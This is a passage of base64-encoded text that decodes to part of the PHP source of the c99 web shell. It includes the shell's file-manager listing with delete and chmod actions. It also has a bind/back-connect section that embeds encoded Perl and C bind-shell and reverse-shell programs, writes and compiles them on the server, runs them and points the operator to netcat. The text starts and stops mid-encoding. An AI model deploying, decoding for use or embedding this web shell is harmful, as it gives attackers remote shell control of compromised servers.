CRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgaWYgKCgkclsxXSA9PSAwKSBvciAoKCRyWzFdID09IDEpIGFuZCAhJGlzZGlyKSBvciAoKCRyWzFdID09IDIpIGFuZCAhJGlzZGlyKSkNCiAgICAgICB7DQogICAgICAgIGlmIChlbXB0eSgkclsyXSkpIHskclsyXSA9ICI8Yj4iOyAkclszXSA9ICI8L2I+Ijt9DQogICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgaWYgKCRyWzRdKSB7YnJlYWs7fQ0KICAgICAgIH0NCiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgICAkdW8gPSB1cmxlbmNvZGUoJG8pOw0KICAgICR1ZCA9IHVybGVuY29kZSgkZGlyKTsNCiAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICRyb3cgPSBhcnJheSgpOw0KICAgIGlmICgkbyA9PSAiLiIpDQogICAgew0KICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIlwiPiIuJG8uIjwvYT4iOw0KICAgICAkcm93W10gPSAiTElOSyI7DQogICAgfQ0KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikNCiAgICB7DQogICAgICRyb3dbXSA9ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuJG8uIjwvYT4iOw0KICAgICAkcm93W10gPSAiTElOSyI7DQogICAgfQ0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkNCiAgICB7DQogICAgIGlmIChpc19saW5rKCR2KSkNCiAgICAgew0KICAgICAgJGRpc3BwYXRoIC49ICIgPT4gIi5yZWFkbGluaygkdik7DQogICAgICAkdHlwZSA9ICJMSU5LIjsNCiAgICAgICRyb3dbXSA9ICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfbG5rXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgIH0NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICAkdHlwZSA9ICJESVIiOw0KICAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNtYWxsX2RpclwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPlsiLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICAgfQ0KICAgICAkcm93W10gPSAkdHlwZTsNCiAgICB9DQogICAgZWxzZWlmKGlzX2ZpbGUoJHYpKQ0KICAgIHsNCiAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsNCiAgICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgICAkZXh0ID0gJGV4dFskY107DQogICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZD0iLiR1ZC4iJlwiPiIuJGRpc3BwYXRoLiI8L2E+IjsNCiAgICAgJHJvd1tdID0gdmlld19zaXplKCRhWzFdKTsNCiAgICB9DQogICAgJHJvd1tdID0gZGF0ZSgiZC5tLlkgSDppOnMiLCRhWzJdKTsNCiAgICBpZiAoISR3aW4pIHskcm93W10gPSAkYVszXTt9DQogICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsNCiAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWQmZD0iLiR1di4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiSW5mb1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCI+Ijt9DQogICAgZWxzZSB7JHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9aW5mbyZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWVkaXQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJDaGFuZ2VcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGFsdD1cIkRvd25sb2FkXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgaWQ9XCJsc19kaXJbXVwiIG5hbWU9XCJhY3Rib3hbXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCI+Ijt9DQogICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyR0YWJbaGVhZF1bXSA9ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskdGFiWyJsaW5rcyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskdGFiWyJkaXJzIl1bXSA9ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskdGFiWyJmaWxlcyJdW10gPSAkcm93O30NCiAgIH0NCiAgfQ0KICAvL0NvbXBpbGluZyB0YWJsZQ0KICAkdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImRpcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOw0KICBlY2hvICI8Y2VudGVyPjxiPkxpc3RpbmcgZGlyZWN0b3J5ICgiLmNvdW50KCR0YWJbImZpbGVzIl0pLiIgZmlsZXMgYW5kICIuKGNvdW50KCR0YWJbImRpcnMiXSkrY291bnQoJHRhYlsibGlua3MiXSkpLiIgZGlyZWN0b3JpZXMpOjwvYj48L2NlbnRlcj48YnI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0xMDAlIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTA+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPiI7DQogIGZvcmVhY2goJHRhYmxlIGFzICRyb3cpDQogIHsNCiAgIGVjaG8gIjx0cj5cclxuIjsNCiAgIGZvcmVhY2goJHJvdyBhcyAkdikge2VjaG8gIjx0ZD4iLiR2LiI8L3RkPlxyXG4iO30NCiAgIGVjaG8gIjwvdHI+XHJcbiI7DQogIH0NCiAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj48Yj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj4iOw0KICBpZiAoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKSkgPiAwIGFuZCAoJHVzZWZzYnVmZikpDQogIHsNCiAgIGVjaG8gIjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cImFjdGFyY2J1ZmZcIiB2YWx1ZT1cIlBhY2sgYnVmZmVyIHRvIGFyY2hpdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiYWN0YXJjYnVmZl9wYXRoXCIgdmFsdWU9XCJhcmNoaXZlXyIuc3Vic3RyKG1kNShyYW5kKDEsMTAwMCkucmFuZCgxLDEwMDApKSwwLDUpLiIudGFyLmd6XCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cImFjdGVtcHR5YnVmZlwiIHZhbHVlPVwiRW1wdHkgYnVmZmVyXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgfQ0KICBlY2hvICI8c2VsZWN0IG5hbWU9XCJhY3RcIj48b3B0aW9uIHZhbHVlPVwiIi4kYWN0LiJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7DQogIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIiIuZ2NoZHMoJGRzcGFjdCwiZGVsZXRlIiwiIHNlbGVjdGVkIikuIj5EZWxldGU8L29wdGlvbj4iOw0KICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiY2htb2RcIiIuZ2NoZHMoJGRzcGFjdCwiY2htb2QiLCIgc2VsZWN0ZWQiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+IjsNCiAgaWYgKCR1c2Vmc2J1ZmYpDQogIHsNCiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJjdXRcIiIuZ2NoZHMoJGRzcGFjdCwiY3V0IiwiIHNlbGVjdGVkIikuIj5DdXQ8L29wdGlvbj4iOw0KICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cImNvcHlcIiIuZ2NoZHMoJGRzcGFjdCwiY29weSIsIiBzZWxlY3RlZCIpLiI+Q29weTwvb3B0aW9uPiI7DQogICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidW5zZWxlY3RcIiIuZ2NoZHMoJGRzcGFjdCwidW5zZWxlY3QiLCIgc2VsZWN0ZWQiKS4iPlVuc2VsZWN0PC9vcHRpb24+IjsNCiAgfQ0KICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvcD4iOw0KICBlY2hvICI8L2Zvcm0+IjsNCiB9DQp9DQppZiAoJGFjdCA9PSAiYmluZCIpDQp7DQogJGJuZHNyY3MgPSBhcnJheSgNCiJjOTlzaF9iaW5kcG9ydC5wbCI9Pg0KIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwcFppQW9RRUZTUjFZZ1BDQXhLU0I3WlhocGRDZ3hLVHQ5RFFva2NHOXlkQ0E5SUNSQlVrZFciLg0KIld6QmRPdzBLWlhocGRDQnBaaUJtYjNKck93MEtKREFnUFNBaWRYQmtZWFJsWkdJaUlDNGdJaUFpSUhneE1EQTdEUW9rVTBsSGUwTkkiLg0KIlRFUjlJRDBnSjBsSFRrOVNSU2M3RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNJRkJHWDBsT1JWUXNJRk5QUTB0ZlUxUlMiLg0KIlJVRk5MQ0F3S1RzTkNuTmxkSE52WTJ0dmNIUW9VeXdnVTA5TVgxTlBRMHRGVkN3Z1UwOWZVa1ZWVTBWQlJFUlNMQ0F4S1RzTkNtSnAiLg0KImJtUW9VeXdnYzI5amEyRmtaSEpmYVc0b0pIQnZjblFzSUVsT1FVUkVVbDlCVGxrcEtUc05DbXhwYzNSbGJpaFRMQ0ExTUNrN0RRcGgiLg0KIlkyTmxjSFFvV0N4VEtUc05DbTl3Wlc0Z1UxUkVTVTRzSUNJOEpsZ2lPdzBLYjNCbGJpQlRWRVJQVlZRc0lDSStKbGdpT3cwS2IzQmwiLg0KImJpQlRWRVJGVWxJc0lDSStKbGdpT3cwS1pYaGxZeWdpWldOb2J5QmNJbGRsYkdOdmJXVWdkRzhnWXprNWMyaGxiR3doWEhKY2JseHkiLg0KIlhHNWNJaUlwT3cwS2QyaHBiR1VvTVNrTkNuc05DaUJoWTJObGNIUW9XQ3dnVXlrN0RRb2dkVzVzWlhOektHWnZjbXNwRFFvZ2V3MEsiLg0KIklDQnZjR1Z1SUZOVVJFbE9MQ0FpUENaWUlqc05DaUFnYjNCbGJpQlRWRVJQVlZRc0lDSStKbGdpT3cwS0lDQmpiRzl6WlNCWU93MEsiLg0KIklDQmxlR1ZqS0NJdlltbHVMM05vSWlrN0RRb2dmUTBLSUdOc2IzTmxJRmc3RFFwOSIsDQoiYzk5c2hfYmluZHBvcnQuYyI9Pg0KIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjUiLg0KImNHVnpMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE4iLg0KIkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MElHRnlaMk03RFFwamFHRnkiLg0KIklDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjEiLg0KIlkzUWdjMjlqYTJGa1pISmZhVzRnY21WdGIzUmxPdzBLSUdsbUtHWnZjbXNvS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlM1emFXNWYiLg0KIlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOXBLR0Z5WjNaYk1WMHAiLg0KIktUc05DaUJ5WlcxdmRHVXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdJQTBLSUhOdlkydG0iLg0KIlpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGTlBRMHRmVTFSU1JVRk5MREFwT3cwS0lHbG1LQ0Z6YjJOclptUXBJSEJsY25KdmNpZ2kiLg0KImMyOWphMlYwSUdWeWNtOXlJaWs3RFFvZ1ltbHVaQ2h6YjJOclptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLaWttY21WdGIzUmwiLg0KIkxDQXdlREV3S1RzTkNpQnNhWE4wWlc0b2MyOWphMlprTENBMUtUc05DaUIzYUdsc1pTZ3hLUTBLSUNCN0RRb2dJQ0J1WlhkbVpEMWgiLg0KIlkyTmxjSFFvYzI5amEyWmtMREFzTUNrN0RRb2dJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc04iLg0KIkNpQWdJR1IxY0RJb2JtVjNabVFzTWlrN0RRb2dJQ0IzY21sMFpTaHVaWGRtWkN3aVVHRnpjM2R2Y21RNklpd3hNQ2s3RFFvZ0lDQnkiLg0KIlpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3AiLg0KIkRRb2dJQ0J6ZVhOMFpXMG9JbVZqYUc4Z2QyVnNZMjl0WlNCMGJ5QmpPVGx6YUdWc2JDQW1KaUF2WW1sdUwySmhjMmdnTFdraUtUc04iLg0KIkNpQWdJR1ZzYzJVTkNpQWdJR1p3Y21sdWRHWW9jM1JrWlhKeUxDSlRiM0p5ZVNJcE93MEtJQ0FnWTJ4dmMyVW9ibVYzWm1RcE93MEsiLg0KIklDQjlEUW9nZlEwS2ZRMEthVzUwSUdOb2NHRnpjeWhqYUdGeUlDcGlZWE5sTENCamFHRnlJQ3BsYm5SbGNtVmtLU0I3RFFwcGJuUWciLg0KImFUc05DbVp2Y2locFBUQTdhVHh6ZEhKc1pXNG9aVzUwWlhKbFpDazdhU3NyS1NBTkNuc05DbWxtS0dWdWRHVnlaV1JiYVYwZ1BUMGciLg0KIkoxeHVKeWtOQ21WdWRHVnlaV1JiYVYwZ1BTQW5YREFuT3lBTkNtbG1LR1Z1ZEdWeVpXUmJhVjBnUFQwZ0oxeHlKeWtOQ21WdWRHVnkiLg0KIlpXUmJhVjBnUFNBblhEQW5PdzBLZlEwS2FXWWdLQ0Z6ZEhKamJYQW9ZbUZ6WlN4bGJuUmxjbVZrS1NrTkNuSmxkSFZ5YmlBd093MEsiLg0KImZRPT0iLA0KImM5OXNoX2JhY2tjb25uLnBsIj0+DQoiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSiIuDQoiSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WiIuDQoiRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSiIuDQoiSFJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTCIuDQoiQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZCIuDQoiR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYSIuDQoiV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5TyIuDQoiaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUiIuDQoiVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sSyIuDQoiRk5VUkVsT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSIsDQoiYzk5c2hfYmFja2Nvbm4uYyI9Pg0KIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWwiLg0KImRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmsiLg0KIk93MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWJTQXRaaUFpT3lBTkNpQmsiLg0KIllXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGciLg0KImFIUnZibk1vWVhSdmFTaGhjbWQyV3pKZEtTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGgiLg0KImNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISnNaVzRvWVhKbmRsc3kiLg0KIlhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2ciLg0KIkRRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjEiLg0KIlkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEUW9nSUNCbGVHbDAiLg0KIktEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW8iLg0KIlptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXBPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2kiLg0KImMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09Ig0KKTsNCiAkYm5kcG9ydHNyY3MgPSBhcnJheSgNCiJjOTlzaF9iaW5kcG9ydC5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlcG9ydCIpLA0KImM5OXNoX2JpbmRwb3J0LmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVwb3J0ICVwYXNzIikNCik7DQogJGJjc3JjcyA9IGFycmF5KA0KImM5OXNoX2JhY2tjb25uLnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVob3N0ICVwb3J0IiksDQoiYzk5c2hfYmFja2Nvbm4uYyI9PmFycmF5KCJVc2luZyBDIiwiJXBhdGggJWhvc3QgJXBvcnQiKQ0KKTsNCiBpZiAoJHdpbikge2VjaG8gIjxiPkJpbmRpbmcgcG9ydCBhbmQgQmFjayBjb25uZWN0OjwvYj48YnI+VGhpcyBmdW5jdGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJyPiI7fQ0KIGVsc2UNCiB7DQogIGlmICghaXNfYXJyYXkoJGJpbmQpKSB7JGJpbmQgPSBhcnJheSgpO30NCiAgaWYgKCFpc19hcnJheSgkYmMpKSB7JGJjID0gYXJyYXkoKTt9DQogIGlmICghaXNfbnVtZXJpYygkYmluZFsicG9ydCJdKSkgeyRiaW5kWyJwb3J0Il0gPSAkYmluZHBvcnRfcG9ydDt9DQogIGlmIChlbXB0eSgkYmluZFsicGFzcyJdKSkgeyRiaW5kWyJwYXNzIl0gPSAkYmluZHBvcnRfcGFzczt9DQogIGlmIChlbXB0eSgkYmNbImhvc3QiXSkpIHskYmNbImhvc3QiXSA9ICRSRU1PVEVfQUREUjt9DQogIGlmICghaXNfbnVtZXJpYygkYmNbInBvcnQiXSkpIHskYmNbInBvcnQiXSA9ICRiaW5kcG9ydF9wb3J0O30NCiAgaWYgKCFlbXB0eSgkYmluZHN1Ym1pdCkpDQogIHsNCiAgIGVjaG8gIjxiPlJlc3VsdCBvZiBiaW5kaW5nIHBvcnQ6PC9iPjxicj4iOw0KICAgJHYgPSAkYm5kcG9ydHNyY3NbJGJpbmRbInNyYyJdXTsNCiAgIGlmIChlbXB0eSgkdikpIHtlY2hvICJVbmtub3duIGZpbGUhPGJyPiI7fQ0KICAgZWxzZWlmIChmc29ja29wZW4oJFNFUlZFUl9BRERSLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9DQogICBlbHNlDQogICB7DQogICAgJHNyY3BhdGggPSAkdG1wZGlyLiRiaW5kWyJzcmMiXTsNCiAgICAkdyA9IGV4cGxvZGUoIi4iLCRiaW5kWyJzcmMiXSk7DQogICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsNCiAgICB1bnNldCgkd1tjb3VudCgkdyktMV0pOw0KICAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdyk7DQogICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQ0KICAgIEB1bmxpbmsoJHNyY3BhdGgpOw0KICAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRibmRzcmNzWyRiaW5kWyJzcmMiXV0pOw0KICAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyAgQHVubGluaygkc3JjcGF0aCk7fQ0KICAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOw0KICAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcG9ydCIsJGJpbmRbInBvcnQiXSwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXNzIiwkYmluZFsicGFzcyJdLCR2WzFdKTsNCiAgICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7DQogICAgICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMoJHZbMV0uIiA+IC9kZXYvbnVsbCAmIik7DQogICAgIHNsZWVwKDUpOw0KICAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwkYmluZFsicG9ydCJdLCRlcnJubywkZXJyc3RyLDUpOw0KICAgICBpZiAoISRzb2NrKSB7ZWNobyAiSSBjYW4ndCBjb25uZWN0IHRvIGxvY2FsaG9zdDoiLiRiaW5kWyJwb3J0Il0uIiEgSSB0aGluayB5b3Ugc2hvdWxkIGNvbmZpZ3VyZSB5b3VyIGZpcmV3YWxsLiI7fQ0KICAgICBlbHNlIHtlY2hvICJCaW5kaW5nLi4uIG9rISBDb25uZWN0IHRvIDxiPiIuJFNFUlZFUl9BRERSLiI6Ii4kYmluZFsicG9ydCJdLiI8L2I+ISBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biBcIjxiPm5jIC12ICIuJFNFUlZFUl9BRERSLiIgIi4kYmluZFsicG9ydCJdLiI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXBzX2F1eCZncmVwPSIuYmFzZW5hbWUoJGJpbnBhdGgpLiJcIj48dT5WaWV3IGJpbmRlcidzIHByb2Nlc3M8L3U+PC9hPjwvY2VudGVyPiI7fQ0KICAgIH0NCiAgICBlY2hvICI8YnI+IjsNCiAgIH0NCiAgfQ0KICBpZiAoIWVtcHR5KCRiY3N1Ym1pdCkpDQogIHsNCiAgIGVjaG8gIjxiPlJlc3VsdCBvZiBiYWNrIGNvbm5lY3Rpb246PC9iPjxicj4iOw0KICAgJHYgPSAkYmNzcmNzWyRiY1sic3JjIl1dOw0KICAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+I